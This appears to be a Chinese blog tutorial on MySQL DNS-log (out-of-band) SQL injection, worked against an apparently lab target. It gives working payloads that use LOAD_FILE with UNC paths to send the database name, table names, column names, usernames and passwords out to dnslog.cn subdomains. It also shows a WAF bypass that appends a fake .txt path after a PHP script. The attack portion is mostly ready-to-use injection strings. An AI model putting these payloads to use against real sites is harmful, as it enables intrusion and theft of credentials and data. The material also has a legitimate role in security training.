MySQL_DNS注入

一、DNSLOG的使用场景

DNS log 【DNS日志注入】
DNS协议:将域名转化为IP 日志 => 记录了域名转化IP请求

日志 => 日记 - 记录操作、记录访问的文件
DNS日志 => 某时某分谁谁谁请求我查某某域名
如果我们搭建一个DNS服务器来承接域名解析。所有的访问域名都会被我们的日志记录下来
域名 => 由运营商解析。 修改域名的设置方法,强行执行某个Ip去解析域名 NS记录
固定的域名 由固定的DNS服务器解析

DNS注入的核心,将盲注转化为显错注入

请添加图片描述
DNS协议:将域名转化为IP 日志 => 记录了域名转化IP请求
比如 xx.qq.com => DNS记录了这个请求,
那么我们也可以让mysql也能发出请求,DNS也会记录

二、DNSLOG的函数解析

LOAD_FILE函数:

请添加图片描述
在使用load_file时,目标mysql数据库配置文件(my.ini)需要有这个参数:secure_file_priv,否则的话无非使用。
MYSQL数据导出与导入 :secure_file_priv参数说明,这个参数用来限制数据导入和导出操作的效果
查看数据库版本: select version();
请添加图片描述
LOAD_FILE() 读取文件
文件路径是字符串:需要使用单引号'或者双引号"
路径的写法:
\转义字符 => \\
/

绝对路径:

1.使用\读取文件时,因为本身是转义字符,所以需要写\\表示
请添加图片描述
2.使用/直接读取
请添加图片描述

相对路径:

写相对路径的时候,不知道渗透目标的环境到底有多少个文件夹可以多写一点../上级目录
请添加图片描述

UNC路径:

请添加图片描述
在这里插入图片描述
http://dnslog.cn/ 免费的dnslog平台 不用注册 不用登陆 不采集任何信息 [美滋滋]
在这里插入图片描述

DNS平台:

既然得到之后,我们就来用这个DNS服务器来获取一下域名解析的数据
1.复制刚刚得到的dns服务器。前面跟你想要解析的东西,这里我就写的yq
没有什么特别的意思,得到的回显也是zkaq,但是把zkaq换成 database() 那么就会回显使用的数据库名
请添加图片描述

请添加图片描述
点击refresh 就可以得到解析的数据,前面的zkaq也得到了回显,这里我就写的zkaq
没有什么特别的意思,得到的回显也是zkaq,但是把zkaq换成 database() 那么就会回显使用的数据库名
请添加图片描述

进入当前数据库为:mysql

1.利用DNSlog平台获取到当前数据库

select load_file(concat("//",(select database()),".fza4p5.dnslog.cn/abc"));请添加图片描述
请添加图片描述

2.利用DNSlog平台获取到表名:

select load_file(concat("//",(select table_name from information_schema.tables where table_schema=database() limit 0,1),".vkw8iq.dnslog.cn/abc"))
请添加图片描述
获取到的表名和数据库的表名成功对应:
请添加图片描述
专业术语:obb => 数据外带
弱点:1、目标得有网络 2、SMB服务 windows自带,linux他并不自带。
DNS注入可以用于Linux吗? (不一定可以!)

三、DNSLOG靶场讲解

waf : 网站的安全软件
计算机中: 黑白名单
黑名单: 名单上的人不能XXXX
白名单: 只有名单上的人可以XXX

为了更加的稳定、为了节约性能
1.安全 其实是一个妥协平衡的产物
2.不要网站干扰正常使用
3.装了之后不要影响性能,因为不影响网站性能,所有waf会有白名单

例如一些常见的白名单
1.txt?id=1 对txt传参
1.jpg?id=1 对图片传参
waf: txt jpg 后缀为什么要检测,不会对网站造成伤害,觉得他是安全的
在这里插入图片描述
http://59.63.200.79:8014/index3.php/1.txt?id=1 and 1=1
WEB容器的特性:
apache 他会对index3.php/1.txt
请求的文件不存在他会自动请求前一个
Apache是从右往左,并且不存在的东西它会跳过,就比如说读取到1.txt,就直接跳过,去读取index3.php,存在就执行
而waf,也就是安全狗,她会过滤很多东西,比如php格式。
但是像txt,jpg这些它认为是安全的,不会去过滤。

成功访问,利用txt格式的文件进行传参绕过安全狗!
请添加图片描述
搭配load_file进行数据获取:
在这里插入图片描述

现在开始进行实战:

先提醒一下,前面的测试是在本机上测试的,所以是 select 开头,
但是实战这已经有select开头了,我们就不要自己加了
txt的名字和传参的id随便写,没有影响,这里我写的1.txt和id=1

1.获取当前数据库

59.63.200.79:8014/index3.php/1.txt?id=1 and load_file(concat("//",(select database()),".0tzz89.dnslog.cn/abc"))
请添加图片描述
成功获取数据库名:mangzhu
请添加图片描述
接下来就是和显错注入一样的思路.

2.获取表名

这里特别要注意一点的是,一个dns服务器如果已经记录了一个东西,你在去执行相同的东西,这个已经被记录的东西就不会再显示了,如果遇到这种情况,就马上获取一个新的dns服务器。
1.txt?id=1 and load_file(concat("//",(select table_name from information_schema.tables where table_schema=database() limit 0,1),".xn2m1f.dnslog.cn/abc"))
请添加图片描述
获取到表名admin
请添加图片描述

3.获取字段名

1.txt?id=1 and load_file(concat("//",(select column_name from information_schema.columns where table_schema=database() and table_name="admin" limit 0,1),".dk3o07.dnslog.cn/abc"))
请添加图片描述获取到字段名:id username password
请添加图片描述

4.获取字段值

1.txt?id=1 and load_file(concat("//",(select username from admin limit 0,1),".kngrr7.dnslog.cn/abc"))
请添加图片描述
请添加图片描述1.txt?id=1 and load_file(concat("//",(select password from admin limit 0,1),".psc7kp.dnslog.cn/abc"))

成功获取flag
请添加图片描述
请添加图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值